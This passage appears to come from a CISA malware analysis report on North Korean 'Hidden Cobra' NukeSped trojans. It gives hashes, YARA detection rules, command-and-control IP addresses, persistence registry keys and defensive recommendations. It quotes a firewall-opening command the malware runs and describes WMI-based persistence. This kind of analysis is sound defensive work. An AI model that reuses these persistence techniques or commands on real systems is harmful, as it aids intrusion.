Street: 12405 Powerscourt Drive, Registrant City: Saint Louis Registrant State/Province: MO Registrant Postal Code: 63131 Registrant Country: US Registrant Phone: +1.3149650555 Registrant Phone Ext: Registrant Fax: +1.9064010617 Registrant Fax Ext: Registrant Email: hostmaster@charter.com Registry Admin ID: Admin Name: Domain Admin Admin Organization: Charter Communications Operating, LLC Admin Street: 12405 Powerscourt Drive, Admin City: Saint Louis Admin State/Province: MO Admin Postal Code: 63131 Admin Country: US Admin Phone: +1.3149650555 Admin Phone Ext: Admin Fax: +1.9064010617 Admin Fax Ext: Admin Email: hostmaster@charter.com Registry Tech ID: Tech Name: Charter Communications Internet Security and Abuse Tech Organization: Charter Communications Operating, LLC Tech Street: 12405 Powerscourt Drive, Tech City: Saint Louis Tech State/Province: MO Tech Postal Code: 63131 Tech Country: US Tech Phone: +1.3142883111 Tech Phone Ext: Tech Fax: +1.3149090609 Tech Fax Ext: Tech Email: abuse@charter.net Name Server: ns4.charter.com Name Server: ns3.charter.com Name Server: ns1.charter.com Name Server: ns2.charter.com DNSSEC: unsigned Relationships 97.90.44.200 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 97.90.44.200 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 128.200.115.228 Ports 52884 TCP Whois Domain Name: UCI.EDU Registrant: University of California, Irvine 6366 Ayala Science Library Irvine, CA 92697-1175 UNITED STATES Administrative Contact: Con Wieland University of California, Irvine Office of Information Technology 6366 Ayala Science Library Irvine, CA 92697-1175 UNITED STATES (949) 824-2222 oit-nsp@uci.edu Technical Contact: Con Wieland University of California, Irvine Office of Information Technology 6366 Ayala Science Library Irvine, CA 92697-1175 UNITED STATES (949) 824-2222 oit-nsp@uci.edu Name Servers: NS4.SERVICE.UCI.EDU 128.200.59.190 NS5.SERVICE.UCI.EDU 52.26.131.47 Domain record activated: 30-Sep-1985 Domain record last updated: 07-Jul-2016 Domain expires: 31-Jul-2018 Relationships 128.200.115.228 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 128.200.115.228 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 186.169.2.237 Ports 65292 TCP Whois inetnum: 186.168/15 status: allocated aut-num: N/A owner: COLOMBIA TELECOMUNICACIONES S.A. ESP ownerid: CO-CTSE-LACNIC responsible: Administradores Internet address: Transversal 60, 114, A 55 address: N - BOGOTA - Cu country: CO phone: +57 1 5339833 [] owner-c: CTE7 tech-c: CTE7 abuse-c: CTE7 inetrev: 186.169/16 nserver: DNS5.TELECOM.COM.CO nsstat: 20171220 AA nslastaa: 20171220 nserver: DNS.TELECOM.COM.CO nsstat: 20171220 AA nslastaa: 20171220 created: 20110404 changed: 20141111 nic-hdl: CTE7 person: Grupo de Administradores Internet e-mail: admin.internet@TELECOM.COM.CO address: Transversal, 60, 114 A, 55 address: 571111 - BOGOTA DC - CU country: CO phone: +57 1 7050000 [71360] created: 20140220 changed: 20140220 Relationships 186.169.2.237 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 186.169.2.237 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 Description A high port to high port connection attempt is made to this IP address from 'Malware2.dll'. No domain is associated with the IP address. 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 Tags trojan Details Name 42682D4A78FE5C2EDA988185A344637D Name 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 Size 346624 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 42682d4a78fe5c2eda988185a344637d SHA1 4975de2be0a1f7202037f5a504d738fe512191b7 SHA256 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA512 213e4a0afbfac0bd884ab262ac87aee7d9a175cff56ba11aa4c75a4feb6a96c5e4e2c26adbe765f637c783df7552a56e4781a3b17be5fda2cf7894e58eb873ec ssdeep 6144:nCgsFAkxS1rrtZQXTip12P04nTnvze6lxjWV346vze6lpjWV34Evze6lSjWV34a7:nCgsukxS1vtZ+5nvze6lxjWV346vze6N Entropy 6.102810 Antivirus ESET a variant of Win64/NukeSped.T trojan Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-06-06 11:24:44-04:00 Import Hash e395fbfa0104d0173b3c4fdd3debdceb Company Name Kamsky Co,.Ltd File Description Vote_Controller Internal Name MDL_170329_x86_V06Lv3 Legal Copyright Copyright 24d2 2017 Original Filename Vote_Controller Product Name Kamsky ColdFear Product Version 17, 0, 0, 0 PE Sections MD5 Name Raw Size Entropy 40d66d1a2f846d7c3bf291c604c9fca3 header 1024 2.628651 d061ffec6721133c433386c96520bc55 .text 284160 5.999734 cbbc6550dcbdcaf012bdbf758a377779 .rdata 38912 5.789426 c83bcaab05056d5b84fc609f41eed210 .data 7680 3.105496 b9fc36206883aa1902566b5d01c27473 .pdata 8704 5.319307 1c1d46056b4cb4627a5f92112b7e09f7 .rsrc 4096 5.608168 3baedaa3d6b6d6dc9fb0ec4f5c3b007c .reloc 2048 2.331154 Relationships 4a74a9fd40... Connected_To 21.252.107.198 4a74a9fd40... Connected_To 70.224.36.194 4a74a9fd40... Connected_To 113.114.117.122 4a74a9fd40... Connected_To 47.206.4.145 4a74a9fd40... Connected_To 84.49.242.125 4a74a9fd40... Connected_To 26.165.218.44 4a74a9fd40... Connected_To 137.139.135.151 4a74a9fd40... Connected_To 97.90.44.200 4a74a9fd40... Connected_To 128.200.115.228 4a74a9fd40... Connected_To 186.169.2.237 Description This artifact is a malicious 64bit Windows dynamic library called 'Vote_Controller.dll'. The file shares similar functionality with 'rdpproto.dll' above, and attempts to connect to the same ten IP addresses. 42682D4A78FE5C2EDA988185A344637D also contains the same public SSL certificate as many of the artifacts above. The file contains the following notable strings: ---Begin Notable Strings--- CompanyName Kamsky Co, .Ltd FileDescription Vote_Controller FileVersion 49, 0, 0, 0 InternalName MDL_170329_x86_V06Lv3 LegalCopyright Copyright 2017 LegalTrademarks OriginalFileName Vote_Controller PrivateBuild ProductName Kamsky ColdFear ProductVersion 17, 0, 0, 0 ---End Notable Strings--- 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a Details Name 3021B9EF74c&BDDF59656A035F94FD08 Name 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a Size 245760 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 3021b9ef74c7bddf59656a035f94fd08 SHA1 05ad5f346d0282e43360965373eb2a8d39735137 SHA256 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a SHA512 f8fcc5ed34b7bf144fc708d01d9685f0cb2e678c173d014987d6ecbf4a7c3ed539452819237173a2ab14609a913cf46c3bd618cffe7b5990c63cfe805a7144ff ssdeep 6144:4+ZmN/ix9bd+Rvze6lxjWV346vze6lpjWV34Evze6lSjWV34avze6lkjWV34z5FT:4+ZmN/ix9b8Rvze6lxjWV346vze6lpjn Entropy 5.933390 Antivirus No matches found. Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2017-05-16 02:44:21-04:00 Import Hash ca767ccbffbed559cbe77c923e3af1f8 Company Name Kamsky Co,.Ltd File Description Vote_Controller Internal Name MDL_170329_x86_V06Lv3 Legal Copyright Copyright 24d2 2017 Original Filename Vote_Controller Product Name Kamsky ColdFear Product Version 17, 0, 0, 0 PE Sections MD5 Name Raw Size Entropy 83ec15e3cf335f784144db4208b328c9 header 1024 2.790421 036c57e89ea3a6afa819c242c5816b70 .text 206848 5.688491 4812d2f39e9a8ae569370d423ba31344 .rdata 26112 6.000116 cb41e8f63b7c22c401a0634cb4fe1909 .data 2048 4.748331 3cc7651747904bfe94ed18f44354a706 .pdata 5120 4.962073 9e92c54604ea67e76210c3c914e9608c .rsrc 4096 5.606351 71dcfb1ec7257ee58dcc20cafb0be691 .reloc 512 0.673424 Relationships 83228075a6... Connected_To 112.175.92.57 Description This artifact is 64bit Windows dynamic library file which shares many of the same characteristics and name (Vote_Controller.dll) as 42682D4A78FE5C2EDA988185A344637D above. When this library is loaded it will look for the file 'udbcgiut.dat' in C:\\WINDOWS. If 'udbcgiut.dat' is not found, the file will attempt connections to the same ten IP addresses described under 'rdpproto.dll' above. One notable difference with this variant is that it uses the Windows Management Instrumentation (WMI) process to recompile the Managed Object Format (MOF) files in the WMI repository. At runtime, the malware will enumerate the drivers located in the registry at HKLM\\Software\\WBEM\\WDM. These files are then recompiled by invoking wmiprvse.exe through svchost.exe: ""C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"". MOF files are written in a SQL-like language and are run (compiled) by the operating system when a predetermined event takes place. Recent malware variants have been observed modifying the MOF files within the system registry to run specific commands and create persistency on the system. Of note, the paravirtual SCSI driver for VMWare Tools is also located in HKLM\\Software\\WBEM\\WDM within a virtual image. When this driver is recompiled by the malware, VMWare Tools no longer works. It cannot be determined if this is an intentional characteristic of the malware to hinder analysis, or simply a symptom of the method used to establish persistence. 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Tags trojan Details Name 61E3571B8D9B2E9CCFADC3DDE10FB6E1 Size 258052 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 61e3571b8d9b2e9ccfadc3dde10fb6e1 SHA1 55daa1fca210ebf66b1a1d2db1aa3373b06da680 SHA256 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA512 235f7b920f54c4d316386cbf6cc14db1929029e8053270e730be15acc8e9f333231d2d984681bea26013a1d1cf4670528ba0989337be13ad4ada3eeba33bdfe8 ssdeep 6144:d71TKN7LBHvS+bujAfrsxwkm1Ka5l7gTtJUGx:dxKHPuj8WR0K6VgTtZx Entropy 7.829590 Antivirus BitDefender Dropped:Trojan.GenericKD.30867638 ESET a variant of Win32/NukeSped.AI trojan Emsisoft Dropped:Trojan.GenericKD.30867638 (B) Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } ssdeep Matches No matches found. PE Metadata Compile Date 2016-08-23 00:19:59-04:00 Import Hash 8e253f83371d82907ff72f57257e3810 PE Sections MD5 Name Raw Size Entropy 84f39a6860555231d60a55c72d07bc5e header 4096 0.586304 649c24790b60bda1cf2a85516bfc7fa0 .text 24576 5.983290 fbd6ca444ef8c0667aed75820cc99dce .rdata 4096 3.520964 0ecb4bcb0a1ef1bf8ea4157fabdd7357 .data 4096 3.988157 Packers/Compilers/Cryptors Installer VISE Custom Relationships 70034b33f5... Dropped cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f 70034b33f5... Dropped 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 70034b33f5... Dropped 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 70034b33f5... Connected_To 81.94.192.147 70034b33f5... Connected_To 112.175.92.57 70034b33f5... Connected_To 181.39.135.126 70034b33f5... Connected_To 197.211.212.59 70034b33f5... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 Description This artifact is a malicious PE32 executable. When executed, the artifact sets up the service, 'Network UDP Trace Management Service'. To set up the service, the program drops a dynamic library, 'UDPTrcSvc.dll' into the %System32% directory. Next, the following registry keys are added: ---Begin Registry Keys--- HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc Name: Type Value: 20 HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc Name: Start Value: 02 HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc Name: ImagePath Value: ""%SystemRoot%\\System32\\svchost.exe -k mdnetuse"" HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc Name: DisplayName Value: ""Network UDP Trace Management Service"" HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc Name: ObjectName Value: ""LocalSystem"" HKLM\\SYSTEM\\CurrentControlSet\\services\\UDPTrcSvc\\Parameters Name: ServiceDll Value: ""%SystemRoot%\\System32\\svchost.exe -k mdnetuse"" HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\mdnetuse ---End Registry Keys--- The service is started by invoking svchost.exe. After writing 'UDPTrcSvd.dll' to disk, the program drops two additional files. Similar to 5C3898AC7670DA30CF0B22075F3E8ED6 above, the program writes the file 'udbcgiut.dat' to the victim's profile at %AppData/Local/Temp%. A second file is written to the victim's profile in the %AppData/Local/VirtualStore/Windows% directory and identified as 'MSDFMAPI.INI'. 'MSDFMAPI.INI' is also written to C:\\WINDOWS. More information on the content of these files is below. 61E3571B8D9B2E9CCFADC3DDE10FB6E1 attempts the same outbound connections as 5C3898AC7670DA30CF0B22075F3E8ED6, however the file does not contain any of the public SSL certificates referenced above. cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f Tags backdoortrojan Details Name UDPTrcSvc.dll Size 221184 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 0893e206274cb98189d51a284c2a8c83 SHA1 d1f4cf4250e7ba186c1d0c6d8876f5a644f457a4 SHA256 cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f SHA512 8042356ff8dc69fa84f2de10a4c34685c3ffa798d5520382d4fbcdcb43ae17e403a208be9891cca6cf2bc297f767229a57f746ca834f6b79056a0ff1202941cf ssdeep 3072:WsyjTzEvLFOL8AqCiueLt1VFu9+zcSywy0mcj90nSJ5NatCmtWwNQLK:W/zEvLFOLdq9uebdSwHN9n5wtkwNwK Entropy 6.359677 Antivirus Ahnlab Backdoor/Win32.Akdoor Antiy Trojan/Win32.AGeneric Avira TR/NukeSped.davct BitDefender Trojan.GenericKD.30867638 ESET Win32/NukeSped.AI trojan Emsisoft Trojan.GenericKD.30867638 (B) Ikarus Trojan.Win32.NukeSped K7 Trojan ( 005329311 ) NANOAV Trojan.Win32.NukeSped.fcodob Systweak malware.gen-ra TrendMicro TROJ_FR.8F37E76D TrendMicro House Call TROJ_FR.8F37E76D VirusBlokAda Trojan.Tiggre Zillya! Trojan.NukeSped.Win32.73 Yara Rules hidden_cobra_consolidated.yara rule crypt_constants_2 { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule lsfr_constants { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } hidden_cobra_consolidated.yara rule polarSSL_servernames { meta: Author=""NCCIC trusted 3rd party"" Incident=""10135536"" Date = ""2018/04/19"" category = ""hidden_cobra"" family = ""n/a"" description = ""n/a"" strings: $polarSSL = ""fjiejffndxklfsdkfjsaadiepwn"" $sn1 = ""www.google.com"" $sn2 = ""www.naver.com"" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) -- 0x4550) and ($polarSSL and 1 of ($sn*)) } ssdeep Matches No matches found. PE Metadata Compile Date 2016-08-23 00:23:04-04:00 Import Hash 30d3466536de2b423897a3c8992ef999 PE Sections MD5 Name Raw Size Entropy d37b95aa17fa132415b37ec777f439ff header 4096 0.709908 badbc93c35554aec904ab0c34f05fbe0 .text 180224 6.295472 64f7a9cafdad34003aba4547bba0e25b .rdata 16384 6.372911 c792eb0c57577f4f3649775cbf32b253 .data 12288 3.996008 8791f715ae89ffe2c7d832c1be821edc .reloc 8192 5.154376 Relationships cd5ff67ff7... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 Description This artifact is a malicious 32bit Windows dynamic library. 'UDPTrcSvc.dll' is identified as the 'Network UDP Trace Management Service'. The following description is provided: ---Begin Service Description--- Network UDP Trace Management Service Hosts TourSvc Tracing. If this service is stopped, notifications of network trace will no longer function and there might not be access to service functions. If this service is disabled, notifications of and monitoring to network state will no longer function. ---End Service Description--- The service is invoked with the command, 'C:\\Windows\\System32\\svchost.exe -k mdnetuse'. When the service is run a modification to the system firewall is attempted, 'cmd.exe /c netsh firewall add portopening TCP 0 ""adp""'. Unlike many of the files listed above that use a public certificate from naver.com, 'UDPTrcSvc.dll' uses a public SSL certificate from google.com. 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 Tags trojan Details Name MSDFMAPI.INI Size 2 bytes Type data MD5 c4103f122d27677c9db144cae1394a66 SHA1 1489f923c4dca729178b3e3233458550d8dddf29 SHA256 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 SHA512 5ea71dc6d0b4f57bf39aadd07c208c35f06cd2bac5fde210397f70de11d439c62ec1cdf3183758865fd387fcea0bada2f6c37a4a17851dd1d78fefe6f204ee54 ssdeep 3:: Entropy 0.000000 Antivirus NetGate Trojan.Win32.Malware Yara Rules No matches found. ssdeep Matches 100 c35020473aed1b4642cd726cad727b63fff2824ad68cedd7ffb73c7cbd890479 Relationships 96a296d224... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 96a296d224... Dropped_By 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 Description 'MSDFMAPI.INI' is written to C:\\WINDOWS and to %UserProfile\\AppData\\Local\\VirtualStore\\Windows%. During analysis, two NULL characters were written to the file. The purpose of the file has not been determined. d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 Details Name F8D26F2B8DD2AC4889597E1F2FD1F248 Name d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 Size 456241 bytes Type data MD5 f8d26f2b8dd2ac4889597e1f2fd1f248 SHA1 dd132f76a4aff9862923d6a10e54dca26f26b1b4 SHA256 d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 SHA512 34f8d10ebcab6f10c5140e94cf858761e9fa2e075db971b8e49c7334e1d55237f844ed6cf8ce735e984203f58d6b5032813b55e29a59af4bfff3853b1d07bc44 ssdeep 12288:MG31DF/ubokxmgF8JsVusikiWxdj3tIQLYe:NlI0UV0ou1kiWvm4Ye Entropy 7.999350 Antivirus No matches found. Yara Rules No matches found. ssdeep Matches No matches found. Description This artifact contains a similar public SSL certificate from naver.com, similar to many of the files above. The payload of the file appears to be encoded with a password or key. No context was provided with the file's submission. Relationship Summary 2151c1977b... Connected_To 81.94.192.147 2151c1977b... Connected_To 112.175.92.57 2151c1977b... Related_To 181.39.135.126 2151c1977b... Related_To 197.211.212.59 2151c1977b... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 2151c1977b... Dropped 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 197.211.212.59 Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 197.211.212.59 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 197.211.212.59 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 181.39.135.126 Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 181.39.135.126 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 181.39.135.126 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 112.175.92.57 Connected_From 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 112.175.92.57 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 112.175.92.57 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 112.175.92.57 Connected_From 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a 81.94.192.147 Connected_From 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 81.94.192.147 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 81.94.192.147 Connected_From 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 70902623c9... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 70902623c9... Related_To ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 70902623c9... Related_To 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 70902623c9... Related_To 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 70902623c9... Related_To 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d ddea408e17... Connected_To 81.94.192.147 ddea408e17... Connected_To 112.175.92.57 ddea408e17... Connected_To 181.39.135.126 ddea408e17... Connected_To 197.211.212.59 ddea408e17... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 ddea408e17... Connected_To 81.94.192.10 81.94.192.10 Connected_From ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d 12480585e0... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 12480585e0... Dropped 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 49757cf856... Dropped_By 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d 49757cf856... Connected_To 21.252.107.198 49757cf856... Connected_To 70.224.36.194 49757cf856... Connected_To 113.114.117.122 49757cf856... Connected_To 47.206.4.145 49757cf856... Connected_To 84.49.242.125 49757cf856... Connected_To 26.165.218.44 49757cf856... Connected_To 137.139.135.151 49757cf856... Connected_To 97.90.44.200 49757cf856... Connected_To 128.200.115.228 49757cf856... Connected_To 186.169.2.237 21.252.107.198 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 21.252.107.198 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 70.224.36.194 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 70.224.36.194 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 113.114.117.122 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 113.114.117.122 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 47.206.4.145 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 47.206.4.145 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 84.49.242.125 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 84.49.242.125 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 26.165.218.44 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 26.165.218.44 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 137.139.135.151 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 137.139.135.151 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 97.90.44.200 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 97.90.44.200 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 128.200.115.228 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 128.200.115.228 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 186.169.2.237 Connected_From 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 186.169.2.237 Connected_From 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 4a74a9fd40... Connected_To 21.252.107.198 4a74a9fd40... Connected_To 70.224.36.194 4a74a9fd40... Connected_To 113.114.117.122 4a74a9fd40... Connected_To 47.206.4.145 4a74a9fd40... Connected_To 84.49.242.125 4a74a9fd40... Connected_To 26.165.218.44 4a74a9fd40... Connected_To 137.139.135.151 4a74a9fd40... Connected_To 97.90.44.200 4a74a9fd40... Connected_To 128.200.115.228 4a74a9fd40... Connected_To 186.169.2.237 83228075a6... Connected_To 112.175.92.57 70034b33f5... Dropped cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f 70034b33f5... Dropped 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 70034b33f5... Dropped 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 70034b33f5... Connected_To 81.94.192.147 70034b33f5... Connected_To 112.175.92.57 70034b33f5... Connected_To 181.39.135.126 70034b33f5... Connected_To 197.211.212.59 70034b33f5... Related_To 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 cd5ff67ff7... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 96a296d224... Dropped_By 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 96a296d224... Dropped_By 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 Recommendations CISA would like to remind users and administrators to consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. Maintain up-to-date antivirus signatures and engines. Keep operating system patches up-to-date. Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required. Enforce a strong password policy and implement regular password changes. Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. Disable unnecessary services on agency workstations and servers. Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its ""true file type"" (i.e., the extension matches the file header). Monitor users' web browsing habits; restrict access to sites with 